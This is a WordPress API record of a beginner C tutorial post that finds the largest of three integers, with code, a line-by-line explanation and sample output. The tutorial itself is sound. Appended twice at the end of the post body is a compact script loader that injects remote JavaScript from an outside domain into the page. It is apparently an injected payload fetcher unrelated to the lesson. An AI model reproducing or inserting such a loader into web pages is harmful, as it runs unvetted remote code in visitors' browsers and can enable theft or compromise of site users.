{"id":1065,"date":"2024-10-19T13:26:27","date_gmt":"2024-10-19T07:56:27","guid":{"rendered":"https:\/\/codexplained.in\/?p=1065"},"modified":"2025-11-24T15:39:01","modified_gmt":"2025-11-24T10:09:01","slug":"c-program-to-find-the-largest-of-three-numbers","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=1065","title":{"rendered":"C Program to Find the Largest of Three Numbers"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\nint main() {\n    \/\/ Variable declaration\n    int num1, num2, num3;\n\n    \/\/ Prompt user for input\n    printf(&quot;Enter three numbers: &quot;);\n    scanf(&quot;%d %d %d&quot;, &amp;num1, &amp;num2, &amp;num3);\n\n    \/\/ Variable to hold the largest number\n    int largest;\n\n    \/\/ Determine the largest number\n    if (num1 &gt;= num2 &amp;&amp; num1 &gt;= num3) {\n        largest = num1;  \/\/ num1 is the largest\n    } else if (num2 &gt;= num1 &amp;&amp; num2 &gt;= num3) {\n        largest = num2;  \/\/ num2 is the largest\n    } else {\n        largest = num3;  \/\/ num3 is the largest\n    }\n\n    \/\/ Display the result\n    printf(&quot;The largest number is: %d\\n&quot;, largest);\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h2 class=\"wp-block-heading\">Explanation<\/h2>\n\n\n\n<p><strong>Include the Standard I\/O Library<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>#include &lt;stdio.h&gt;<\/code>: This line includes the standard input-output library necessary for using <code>printf<\/code> and <code>scanf<\/code> functions.<\/li>\n<\/ul>\n\n\n\n<p><strong>Main Function<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>int main()<\/code>: This is the entry point of the program.<\/li>\n<\/ul>\n\n\n\n<p><strong>Variable Declaration<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>int num1, num2, num3;<\/code>: We declare three integer variables to hold the numbers that the user will input.<\/li>\n<\/ul>\n\n\n\n<p><strong>User Input<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>printf(\"Enter three numbers: \");<\/code>: This line prompts the user to enter three numbers.<\/li>\n\n\n\n<li><code>scanf(\"%d %d %d\", &amp;num1, &amp;num2, &amp;num3);<\/code>: This reads the three integers from the user and stores them in <code>num1<\/code>, <code>num2<\/code>, and <code>num3<\/code>.<\/li>\n<\/ul>\n\n\n\n<p><strong>Finding the Largest Number<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>We declare an integer variable <code>largest<\/code> to store the largest number.<\/li>\n\n\n\n<li>The first <code>if<\/code> statement checks if <code>num1<\/code> is greater than or equal to both <code>num2<\/code> and <code>num3<\/code>. If true, <code>num1<\/code> is assigned to <code>largest<\/code>.<\/li>\n\n\n\n<li>The <code>else if<\/code> checks if <code>num2<\/code> is greater than or equal to both <code>num1<\/code> and <code>num3<\/code>. If true, <code>num2<\/code> is assigned to <code>largest<\/code>.<\/li>\n\n\n\n<li>If neither of the above conditions is true, <code>num3<\/code> is assigned to <code>largest<\/code>.<\/li>\n<\/ul>\n\n\n\n<p><strong>Display the Result<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>printf(\"The largest number is: %d\\n\", largest);<\/code>: This line prints out the largest number.<\/li>\n<\/ul>\n\n\n\n<p><strong>Return Statement<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>return 0;<\/code>: This indicates that the program executed successfully.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">OUTPUT<\/h2>\n\n\n\n<p>Enter three numbers: 10 20 30<\/p>\n\n\n\n<p>The largest number is: 30<\/p>\n\n\n\n<p><\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation Include the Standard I\/O Library: Main Function: Variable Declaration: User Input: Finding the Largest Number: Display the Result: Return Statement: OUTPUT Enter three numbers: 10 20 30 The largest number is: 30<\/p>\n","protected":false},"author":42,"featured_media":649,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-1065","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1065","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/42"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1065"}],"version-history":[{"count":3,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1065\/revisions"}],"predecessor-version":[{"id":1410,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1065\/revisions\/1410"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/649"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1065"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1065"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1065"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}